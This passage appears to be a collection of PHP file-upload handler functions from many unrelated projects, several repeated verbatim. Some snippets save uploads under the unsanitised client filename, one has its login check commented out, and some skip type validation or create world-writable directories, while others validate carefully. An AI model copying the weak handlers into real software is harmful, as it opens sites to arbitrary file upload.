($herr->checkState())\n\t\t\thandleError($herr->errorGetMessage());\n\t\telse\n\t\t\thandleError('Database Error: Unable to insert turnin information.');\n\t}\n\t$rxa = $dbapp->queryTurninStudentAssignAll($student, $assign);\n\tif ($rxa == false)\n\t{\n\t\tif ($herr->checkState())\n\t\t\thandleError($herr->errorGetMessage());\n\t\telse\n\t\t\thandleEerror('Database Error: Unable to retrieve turnin information.');\n\t}\n\n\t$maxCount = -1;\n\tforeach($rxa as $kx => $vx)\n\t{\n\t\tif ($vx['subcount'] > $maxCount) $maxCount = $vx['subcount'];\n\t}\n\n\tforeach($filelist as $kx => $vx)\n\t{\n\t\t$result = $dbapp->insertFilename($student, $assign, $step,\n\t\t\t$maxCount, $kx, $vx);\n\t\tif ($result == false)\n\t\t{\n\t\t\t$dbapp->deleteFilenameCount($student, $assign, $step, $maxCount);\n\t\t\tfileError($basePath, $filelist);\n\t\t\tif ($herr->checkState())\n\t\t\t\thandleError($herr->errorGetMessage());\n\t\t\telse\n\t\t\t\thandleEerror('Database Error: Unable to save file information.');\n\t\t}\n\t}\n\n\t// Refresh page\n\t$mainContent = formPage($assign, $step);\n\t$ajax->loadQueueCommand(ajaxClass::CMD_OKDISP,\n\t\t'Assignment has been submitted successfully.');\n\t$ajax->loadQueueCommand(ajaxClass::CMD_WMAINPANEL, $mainContent);\n\t$ajax->sendQueue();\n}", "public function upload() {\n\t\t\n\t\t$this->header('Content-type: text/plain');\t//header - we are outputing JSON data\n\t\t\n/*\n\t\tif ($this->logged == false) {\t//only logged in members can upload files (this is for any upload)\n\t\t\t\n\t\t\t$this->set('result', array(\n\t\t\t\t'success' => false,\n\t\t\t\t'error' => __('Access denied'),\n\t\t\t));\n\t\t\treturn false;\n\t\t\t\n\t\t}\n*/\n\t\t\n\t\t$uploaded = isset($_FILES['qqfile']) ? $_FILES['qqfile'] : false;\t//uploaded file is in \"qqfile\"\n\t\t\n\t\tif ($uploaded==false || $uploaded['size'] == 0) {\t//check if we have file (and if it has file size > 0)\n\t\t\t\n\t\t\t$this->set('result', array(\n\t\t\t\t'success' => false,\n\t\t\t\t'error' => __('No file uploaded'),\n\t\t\t));\n\t\t\treturn false;\n\t\t\t\n\t\t}\n\t\t\n\t\t//sanitize filename (only ascii characters, no spaces, all lowercase)\n\t\t$uploaded['name'] = iconv('UTF-8', 'ASCII//TRANSLIT', $uploaded['name']);\n\t\t$uploaded['name'] = strtolower( str_replace(' ', '_', $uploaded['name']) );\n\t\t\n\t\tif (!is_dir($this->tmp_path)) {\t//create tmp directory if necessary\n\t\t\tmkdir($this->tmp_path, 0777, true);\n\t\t}\n\t\t\n\t\t//pick a temporary filename, check if it is unique\n\t\tdo {\n\t\t\t$tmp_filename = uniqid() . '_' . $uploaded['name'];\n\t\t} while (is_file($this->tmp_path . $tmp_filename));\n\t\t\n\t\t//upload\n\t\t$uploaded = $this->Upload->directUpload($uploaded, $this->tmp_path . $tmp_filename);\n\t\t\n\t\tif (!$uploaded) {\t//check for upload status\n\t\t\t\n\t\t\t$this->set('result', array(\n\t\t\t\t'success' => false,\n\t\t\t\t'error' => __('Internal error, unable to upload file'),\n\t\t\t));\n\t\t\treturn false;\n\t\t\t\n\t\t}\n\t\t\n\t\t$this->set('result', array(\n\t\t\t'success' => true,\n\t\t\t'filename' => $tmp_filename,\t//return temporary filename\n\t\t));\n\n\t\t$this->layout = 'ajax';\t//set explicitly (otherwise causes problems in IE)\n\t\t\n\t}", "public function uploadAction() {\r\n\t\t$imgId = $this->getInput('imgId');\r\n\t\t$this->assign('imgId', $imgId);\r\n\t\t$this->getView()->display('common/upload.phtml');\r\n\t\texit;\r\n\t}", "public function uploadAction() {\r\n\t\t$imgId = $this->getInput('imgId');\r\n\t\t$this->assign('imgId', $imgId);\r\n\t\t$this->getView()->display('common/upload.phtml');\r\n\t\texit;\r\n\t}", "public function upload()\n {\n // the file property can be empty if the field is not required\n if (null === $this->getFile()) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getFile()->move(\n Image::SERVER_PATH_TO_IMAGE_FOLDER,\n $this->path\n );\n\n // set the path property to the filename where you've saved the file\n $this->filename = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->setFile(null);\n }", "public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n $filename = substr( md5(rand()), 0, 15).'.'.$this->getFile()->guessExtension();\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $filename\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $filename;\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function upload()\n {\n // the file property can be empty if the field is not required\n if (null === $this->getFile()) {\n return;\n }\n $filename = time().'_'.$this->getFile()->getClientOriginalName();\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getFile()->move(\n self::$SERVER_PATH_TO_VIDEO_FOLDER,\n $filename\n );\n\n // set the path property to the filename where you've saved the file\n $this->filename = $filename;\n\n // clean up the file property as you won't need it anymore\n $this->setFile(null);\n }", "public function upload()\n {\n //Checks if the path is null\n if (null === $this->file) {\n return;\n }\n\n $hash = uniqid('', true);\n $extension = $this->file->getClientOriginalExtension();\n $newFilename = $hash.'.'.$extension;\n\n $this->file->move($this->getUploadRootDir(), $newFilename);\n $this->path = $newFilename;\n\n // Clean the path file\n $this->file = null;\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n \n\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function dz_files()\n {\n if (!empty($_FILES) && $_FILES['file']) {\n $file = $_FILES['file'];\n\n\n foreach ($file['error'] as $key=>$error) {\n $uploadfile = sys_get_temp_dir().basename($file['name']['key']);\n move_uploaded_file($file['tmp_name'],$uploadfile);\n\n }\n }\n }", "public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'qualification');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->assign('code', $ret['data']);\n\t\t$this->assign('msg', $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function upload() {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(), $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->photo = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function upload_file_file()\n\t{\n\t\tif (!$this->is_allowed('dokumentasi_tol_add', false)) {\n\t\t\techo json_encode([\n\t\t\t\t'success' => false,\n\t\t\t\t'message' => cclang('sorry_you_do_not_have_permission_to_access')\n\t\t\t\t]);\n\t\t\texit;\n\t\t}\n\n\t\t$uuid = $this->input->post('qquuid');\n\n\t\techo $this->upload_file([\n\t\t\t'uuid' \t\t \t=> $uuid,\n\t\t\t'table_name' \t=> 'dokumentasi_tol',\n\t\t]);\n\t}", "function form_file_upload_handle($file_data, $field_config, $table_name = null) {\n $file_max_size = $field_config['file-max-size'] + 0;\n $file_type = $field_config['file-type'];\n if (strstr($file_data['type'], $file_type) === FALSE) {\n return \"The file type is {$file_data['type']} not {$file_type}\";\n }\n if ($file_data['size'] > $file_max_size) {\n return \"Size is bigger than \" . $file_max_size / 1024 . \"k\";\n }\n /**\n * ALL ok? then place the file and let it go... let it goooo! (my daughter Allison fault! <3 )\n */\n if (file_uploads::place_upload_file($file_data['tmp_name'], $file_data['name'], $table_name)) {\n return TRUE;\n } else {\n return file_uploads::get_last_error();\n }\n// $file_location = file_uploads::get_uploaded_file_path($file_data['name']);\n// $file_location_url = file_uploads::get_uploaded_file_url($file_data['name']);\n}", "public function uploadfiles(){\n\t\tif($this->request->isPost()){\n\t\t\t//die(\"kkk\");\n\t\t\tif($this->processfile()){\n\t\t\t\t\n\t\t\t\t\tif($this->Upload->save($this->data,array('validate'=>true))){\n\t\t\t\t} else {\n\t\t\t\t\t// didn’t validate logic\n\t\t\t\t\t$errors = $this->Upload->validationErrors;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t}", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "function uploadImage($fieldName){\r\n \r\n // Undefined | Multiple Files | $_FILES Corruption Attack\r\n // If this request falls under any of them, treat it invalid.\r\n if ( !isset($_FILES[$fieldName]['error']) || is_array($_FILES[$fieldName]['error']) ) { \r\n throw new RuntimeException('Invalid parameters.');\r\n }\r\n\r\n // Check $_FILES['upfile']['error'] value.\r\n switch ($_FILES[$fieldName]['error']) {\r\n case UPLOAD_ERR_OK:\r\n break;\r\n case UPLOAD_ERR_NO_FILE:\r\n throw new RuntimeException('No file sent.');\r\n case UPLOAD_ERR_INI_SIZE:\r\n case UPLOAD_ERR_FORM_SIZE:\r\n throw new RuntimeException('Exceeded filesize limit.');\r\n default:\r\n throw new RuntimeException('Unknown errors.');\r\n }\r\n \r\n // You should also check filesize here. \r\n if ($_FILES[$fieldName]['size'] > 1000000) {\r\n throw new RuntimeException('Exceeded filesize limit.');\r\n }\r\n\r\n // DO NOT TRUST $_FILES['upfile']['mime'] VALUE !!\r\n // Check MIME Type by yourself.\r\n $finfo = new finfo(FILEINFO_MIME_TYPE);\r\n $validExts = array(\r\n 'jpg' => 'image/jpeg',\r\n 'png' => 'image/png',\r\n 'gif' => 'image/gif'\r\n ); \r\n $ext = array_search( $finfo->file($_FILES[$fieldName]['tmp_name']), $validExts, true );\r\n \r\n \r\n if ( false === $ext ) {\r\n throw new RuntimeException('Invalid file format.');\r\n }\r\n \r\n /* Alternative to getting file extention \r\n $name = $_FILES[\"upfile\"][\"name\"];\r\n $ext = strtolower(end((explode(\".\", $name))));\r\n if (preg_match(\"/^(jpeg|jpg|png|gif)$/\", $ext) == false) {\r\n throw new RuntimeException('Invalid file format.');\r\n }\r\n Alternative END */\r\n\r\n // You should name it uniquely.\r\n // DO NOT USE $_FILES['upfile']['name'] WITHOUT ANY VALIDATION !!\r\n // On this example, obtain safe unique name from its binary data.\r\n \r\n $fileName = sha1_file($_FILES[$fieldName]['tmp_name']); \r\n $location = sprintf('./uploads/%s.%s', $fileName, $ext); \r\n \r\n if (!is_dir('./uploads')) {\r\n mkdir('./uploads');\r\n }\r\n \r\n if ( !move_uploaded_file( $_FILES[$fieldName]['tmp_name'], $location) ) {\r\n throw new RuntimeException('Failed to move uploaded file.');\r\n }\r\n\r\n /* return the file name uploaded */\r\n return $fileName.'.'.$ext;\r\n}", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = '/'.$this->getUploadDir().'/'.$this->getFile()->getClientOriginalName();\n //get the file name\n// $file = $this->getFile()->getClientOriginalName();\n// $info = pathinfo($file);\n// $file_name = basename($file,'.'.$info['extension']);\n// $this->name = $file_name ;\n// $this->setName($file_name);\n// // clean up the file property as you won't need it anymore\n// $this->file = null;\n }", "function media_upload_form_handler()\n {\n }", "function doUpload(){\n if(count($_FILES) > 0){\n if(array_key_exists($this->name,$_FILES) AND $_FILES[$this->name]['name'] != \"\"){\n\n $this->CI->upload->initialize($this->config);\n\n if (!$this->CI->upload->do_upload($this->name)){\n show_error($this->CI->upload->display_errors());\n } \n else{\n $data = $this->CI->upload->data();\n $this->CI->codexmessages->add('info',$this->CI->lang->line('codexforms_file').' '.$_FILES[$this->name]['name'].' '.$this->CI->lang->line('codexforms_uploaded_correctly'),'',true);\n return $data['file_name'];\n }\n }\n }\n }", "public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'bestj');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function upload_file_file()\n\t{\n\t\tif (!$this->is_allowed('dokumentasi_bendungan_add', false)) {\n\t\t\techo json_encode([\n\t\t\t\t'success' => false,\n\t\t\t\t'message' => cclang('sorry_you_do_not_have_permission_to_access')\n\t\t\t\t]);\n\t\t\texit;\n\t\t}\n\n\t\t$uuid = $this->input->post('qquuid');\n\n\t\techo $this->upload_file([\n\t\t\t'uuid' \t\t \t=> $uuid,\n\t\t\t'table_name' \t=> 'dokumentasi_bendungan',\n\t\t]);\n\t}", "public function uploadAction() {\n $imgId = $this->getInput('imgId');\n $this->assign('imgId', $imgId);\n $this->getView()\n ->display('common/upload.phtml');\n }", "public function upload($file) {\n /*\n ** is there some file to upload\n */\n if (isset($file))\n FileLoaderController::setFiles($file);\n else\n API::error('No file found.');\n\n /*\n ** Upload the current media\n */\n FileLoaderController::upload($this);\n\n }", "function media_upload()\r\n{\r\n\tglobal $DIR_MEDIA, $member, $CONF, $manager;\r\n\r\n\t$uploadInfo = postFileInfo('uploadfile');\r\n\r\n\t$filename = $uploadInfo['name'];\r\n\t$filetype = $uploadInfo['type'];\r\n\t$filesize = $uploadInfo['size'];\r\n\t$filetempname = $uploadInfo['tmp_name'];\r\n\t$fileerror = intval($uploadInfo['error']);\r\n\t$mediatocu = $manager->getPlugin('NP_Mediatocu');\r\n// added yama 20080131\r\n\tif ($mediatocu->getOption('filename_rule') == \"ascii\") {\r\n\t\t$path_parts = pathinfo($filename);\r\n\t\t$filename = time() . \".\" . $path_parts['extension'];\r\n\t}\r\n// end\r\n\t\r\n\tswitch ($fileerror) {\r\n\t\tcase 0: // = UPLOAD_ERR_OK\r\n\t\t\tbreak;\r\n\t\tcase 1: // = UPLOAD_ERR_INI_SIZE\r\n\t\tcase 2: // = UPLOAD_ERR_FORM_SIZE\r\n\t\t\tmedia_doError(_ERROR_FILE_TOO_BIG);\r\n\t\t\tbreak;\r\n\t\tcase 3: // = UPLOAD_ERR_PARTIAL\r\n\t\tcase 4: // = UPLOAD_ERR_NO_FILE\r\n\t\tcase 6: // = UPLOAD_ERR_NO_TMP_DIR\r\n\t\tcase 7: // = UPLOAD_ERR_CANT_WRITE\r\n\t\tdefault:\r\n\t\t\t// include error code for debugging\r\n\t\t\t// (see http://www.php.net/manual/en/features.file-upload.errors.php)\r\n\t\t\tmedia_doError(_ERROR_BADREQUEST . ' (' . $fileerror . ')');\r\n\t\t\tbreak;\r\n\t}\r\n\t// T.Kosugi add 2006.9.1\r\n\tif (stristr($filename, '%00')) {\r\n\t\tmedia_doError(_MEDIA_PHP_38);\r\n\t}\r\n\t// T.Kosugi add end\r\n\tif (strpos($filename,\"\\0\") !== false) {\r\n\t\tmedia_doError(_MEDIA_PHP_38);\r\n\t}\r\n\tif ($filesize > $CONF['MaxUploadSize']) {\r\n\t\tmedia_doError(_ERROR_FILE_TOO_BIG);\r\n\t}\r\n\r\n\t// check file type against allowed types\r\n\t$ok = 0;\r\n\t$allowedtypes = explode (',', $CONF['AllowedTypes']);\r\n\tforeach ( $allowedtypes as $type ) {\r\n\t\tif (eregi(\"\\.\" .$type. \"$\",$filename)) {\r\n\t\t\t$ok = 1;\r\n\t\t}\r\n\t}\r\n\tif (!$ok) {\r\n\t\tmedia_doError(_ERROR_BADFILETYPE);\r\n\t}\r\n\r\n\tif (!is_uploaded_file($filetempname)) {\r\n\t\tmedia_doError(_ERROR_BADREQUEST);\r\n\t}\r\n\r\n\t// prefix filename with current date (YYYY-MM-DD-)\r\n\t// this to avoid nameclashes\r\n\tif ($CONF['MediaPrefix']) {\r\n\t\t$filename = strftime(\"%Y%m%d-\", time()) . $filename;\r\n\t}\r\n\r\n\t// Filename should not contain '/' or '\\'.\r\n\tif (preg_match('#(/|\\\\\\\\)#',$filename)) media_doError(_ERROR_DISALLOWED);\r\n\r\n\t$collection = media_requestVar('collection');\r\n\t$res = MEDIA::addMediaObject($collection, $filetempname, $filename);\r\n\r\n\tif ($res != '') {\r\n\t\tmedia_doError($res);\r\n\t}\r\n\t$uppath = $DIR_MEDIA.$collection . \"/\";\r\n\t$upfile = $DIR_MEDIA.$collection . \"/\" . $filename;\r\n\r\n\t$res = move_uploaded_file($filetempname, $upfile);\r\n\tif ($res != '') {\r\n\t media_doError($res);\r\n\t}\r\n\r\n\tmake_thumbnail($DIR_MEDIA, $collection, $upfile, $filename);\r\n\r\n\t// shows updated list afterwards\r\n\tmedia_select();\r\n}", "public function upload()\n\t{\n\t\t$field \t\t = $this->getUploadField();\n\t\t$newName \t = $this->getUploadNewName();\n\t\t//$destination = 'assets/images/location';\t\n\t\t$destination = $this->getUploadDestination();\n\n\t\tif (\\Input::hasFile($field))\n\t\t{\n\t\t \\Input::file($field)->move($destination, $newName);\n\t\t}\n\t\t\n\t\t$this->entity->fill([$field => $newName]);\n\t\t$this->entity->save();\n\n\t\treturn true;\n\t}", "public function upload_file(){\n //return from method if file name is sample\n if($this->file_name == 'sample.jpg'){\n return;\n }\n\n $allowed_types = ['image/jpeg', 'image/gif', 'image/png'];\n //check file is an image\n if(!in_array($this->file_type, $allowed_types)){\n throw new Exception('File must be an image');\n exit;\n }\n\n //move from temp dir in to uploads folder\n move_uploaded_file($this->tmp_file_name, $this->dir_location . $this->file_name );\n }", "public function uploadfile($refdoc){\n\t\t$filename = $_FILES['file']['name'];\n\t\t$filename = $filename;\n\t\t$location = \"./images/grfile/\". $filename;\n\t\t$temp = $_FILES['file']['tmp_name'];\n\t\t$fileType = pathinfo($location,PATHINFO_EXTENSION);\n\t\t$acak = rand(000000,999999);\t\n\n\t\t// move_uploaded_file($temp, $location);\n\t\t$this->model('Grpo_model')->uploadfile($refdoc, $temp, $location, $filename, $fileType);\n\t\tmove_uploaded_file($temp, $location);\n\t\t// /* Valid Extensions */\n\t\t// $valid_extensions = array(\"jpg\",\"jpeg\",\"png\");\n\t\t// /* Check file extension */\n\t\t// if( !in_array(strtolower($imageFileType),$valid_extensions) ) {\n\t\t// \t$uploadOk = 0;\n\t\t// }\n\n\t\t// if($uploadOk == 0){\n\t\t// echo 0;\n\t\t// }else{\n\t\t// /* Upload file */\n\t\t// if(move_uploaded_file($_FILES['file']['tmp_name'],$location)){\n\t\t// \techo $location;\n\t\t// }else{\n\t\t// \techo 0;\n\t\t// }\n\t}", "public function upload()\n {\n if ( !in_array('upload', Files::allowed_actions()) AND\n // replacing files needs upload and delete permission\n !( $this->input->post('replace_id') && !in_array('delete', Files::allowed_actions()) )\n ) {\n show_error(lang('files:no_permissions')) ;\n }\n\n $result = null ;\n $input = ci()->input->post() ;\n\n if ( $input['replace_id'] > 0 ) {\n $result = Files::replace_file($input['replace_id'], $input['folder_id'], $input['name'], 'file', $input['width'], $input['height'], $input['ratio'], null, $input['alt_attribute']) ;\n //$result['status'] AND Events::trigger('file_replaced', $result['data']) ;\n } elseif ($input['folder_id'] and $input['name'] ) {\n $result = Files::upload($input['folder_id'], $input['name'], 'file', $input['width'], $input['height'], $input['ratio'], null, $input['alt_attribute']) ;\n $result['status'] AND Events::trigger('file_uploaded', $result['data']) ;\n }\n\n ob_end_flush() ;\n //echo json_encode($result) ;\n echo '1';\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->backgroundImage = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "function upload(){\r\n\t\r\n\tvar_dump($_FILES);\r\n\tif(isset($_FILES[\"fileToUpload\"]) && !empty($_FILES[\"fileToUpload\"][\"name\"])){\r\n\t\t$target_dir = \"../pildid/\";\r\n\t\t$target_file = $target_dir . basename($_FILES[\"fileToUpload\"][\"name\"]);\r\n\t\t$uploadOk = 1;\r\n\t\t$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);\r\n\t\t// Check if image file is a actual image or fake image\r\n\t\tif(isset($_POST[\"submit\"])) {\r\n\t\t\t$check = getimagesize($_FILES[\"fileToUpload\"][\"tmp_name\"]);\r\n\t\t\tif($check !== false) {\r\n\t\t\t\t//echo \"File is an image - \" . $check[\"mime\"] . \".\";\r\n\t\t\t\t$uploadOk = 1;\r\n\t\t\t} else {\r\n\t\t\t\techo \"File is not an image.\";\r\n\t\t\t\t$uploadOk = 0;\r\n\t\t\t}\r\n\t\t}\r\n\t\t// Check if file already exists\r\n\t\tif (file_exists($target_file)) {\r\n\t\t\techo \"Sorry, file already exists.\";\r\n\t\t\t$uploadOk = 0;\r\n\t\t}\r\n\t\t// Check file size\r\n\t\tif ($_FILES[\"fileToUpload\"][\"size\"] > 500000) {\r\n\t\t\techo \"Sorry, your file is too large.\";\r\n\t\t\t$uploadOk = 0;\r\n\t\t}\r\n\t\t// Allow certain file formats\r\n\t\tif($imageFileType != \"jpg\" && $imageFileType != \"png\" && $imageFileType != \"jpeg\"\r\n\t\t&& $imageFileType != \"gif\" ) {\r\n\t\t\techo \"Sorry, only JPG, JPEG, PNG & GIF files are allowed.\";\r\n\t\t\t$uploadOk = 0;\r\n\t\t}\r\n\t\t// Check if $uploadOk is set to 0 by an error\r\n\t\tif ($uploadOk == 0) {\r\n\t\t\techo \"Sorry, your file was not uploaded.\";\r\n\t\t// if everything is ok, try to upload file\r\n\t\t} else {\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t$target_file = $target_dir.uniqid().\".\".$imageFileType;\r\n\t\t\t\r\n\t\t\t\r\n\t\t\tif (move_uploaded_file($_FILES[\"fileToUpload\"][\"tmp_name\"], $target_file)) {\r\n\t\t\t\t//echo \"The file \". basename( $_FILES[\"fileToUpload\"][\"name\"]). \" has been uploaded.\";\r\n\t\t\t\t\r\n\t\t\t\t// save file name to DB here\r\n\t\t\t\t$a = new StdClass();\r\n\t\t\t\t$a->name = $target_file;\r\n\t\t\t\treturn $a;\r\n\t\t\t\t\r\n\t\t\t} else {\r\n\t\t\t\treturn \"Sorry, there was an error uploading your file.\";\r\n\t\t\t}\r\n\t\t}\r\n\t}else{\r\n\t\treturn \"Please select the file that you want to upload!\";\r\n\t}\r\n\t\r\n}", "public function actionUploadImageNews()\n {\n $filename = $_FILES['file']['name'];\n /* Location */\n $location = \"C:/OpenServer/domains/localhost/application/photo/news/\".$filename;\n $uploadOk = 1;\n $imageFileType = pathinfo($location,PATHINFO_EXTENSION);\n /* Valid Extensions */\n $valid_extensions = array(\"jpg\",\"jpeg\",\"png\");\n /* Check file extension */\n if( !in_array(strtolower($imageFileType),$valid_extensions) ) {\n $uploadOk = 0;\n }\n if($uploadOk == 0){\n echo 0;\n }else{\n /* Upload file */\n if(move_uploaded_file($_FILES['file']['tmp_name'],$location)){\n echo $filename;\n\n }else{\n // echo 0;\n }\n }\n }", "public function uploadAction()\n {\n if ($this->request->hasFiles() == true) {\n\n // Print the real file names and sizes\n foreach ($this->request->getUploadedFiles() as $file) {\n // 获取文件的MD5\n $filesModels = new Files();\n $fileInfo = $filesModels->uploadFiles($file);\n \n $movePath = $fileInfo['movePath'];\n $fileUrl = $fileInfo['fileUrl'];\n \n if(file_exists($movePath)) { \n $jsonReturn = array(\n 'success' => 'true',\n 'msg' => '上传成功',\n 'file_path' => $fileUrl\n );\n echo json_encode($jsonReturn); \n } else {\n $jsonReturn = array(\n 'success' => 'false',\n 'msg' => '上传失败'\n );\n echo json_encode($jsonReturn); \n }\n \n }\n }\n\n $this->view->setRenderLevel(View::LEVEL_NO_RENDER);\n }", "public function p_upload(){\n \n if(!isset($_FILES)){\n //send the user back to the profile but this time have error set.\n Router::redirect(\"/users/profile/\".$this->user->user_id.\"/error\");\n }\n //fixed filename upper case possibility.\n $_FILES['avatar_pic']['name'] = strtolower($_FILES['avatar_pic']['name']);\n //get file extension \n $parts = pathinfo( ($_FILES['avatar_pic']['name']) );\n //boolean set to FALSE for incorrect file extension uploading\n $upload_ok = FALSE;\n \n \n \n \n if($parts['extension'] == \"jpg\")\n $upload_ok = TRUE;\n if($parts['extension'] == \"jpeg\")\n $upload_ok = TRUE; \n if($parts['extension'] == \"png\")\n $upload_ok = TRUE;\n if($parts['extension'] == \"gif\")\n $upload_ok = TRUE; \n \n if($upload_ok) { \n //upload the chosen file and rename it temp-user_id.original extension\n Upload::upload($_FILES, \"/uploads/avatars/\", array(\"jpg\", \"jpeg\", \"gif\", \"png\"), \"temp-\".$this->user->user_id); \n //resize the image to 258x181 -- usually it's 258 wide then optimal height.\n $imgObj = new Image(APP_PATH.'uploads/avatars/'.'temp-'.$this->user->user_id.'.'.$parts['extension']);\n \n $imgObj->resize(100, 100);\n $imgObj->save_image(APP_PATH.'uploads/avatars/'.$this->user->user_id.'.'.'png'); //save the file as user_id.png\n unlink('uploads/avatars/'.'temp-'.$this->user->user_id.'.'.$parts['extension']); //delete the temp file\n Router::redirect(\"/users/profile/\".$this->user->user_id);\n }\n else {\n //send the user back to the profile but this time have error set.\n Router::redirect(\"/users/profile/\".$this->user->user_id.\"/error\");\n } //else\n }", "public function upload(): void\n {\n // the file property can be empty if the field is not required\n if (null === $this->getFile()) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getFile()->move(\n self::SERVER_PATH_TO_IMAGE_FOLDER,\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->logo = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->setFile(null);\n }", "public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'fanfan_topic');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function upload() {\n\t\t\n\t\t$output = array();\n\t\tCore\\Debug::log($_POST + $_FILES, 'files');\n\n\t\t// Set path.\n\t\t// If an URL is also posted, use that URL's page path. Without any URL, the /shared path is used.\n\t\t$path = $this->getPathByPostUrl();\n\t\t\n\t\t// Move uploaded files\n\t\tif (isset($_FILES['files']['name'])) {\n\t\n\t\t\t// 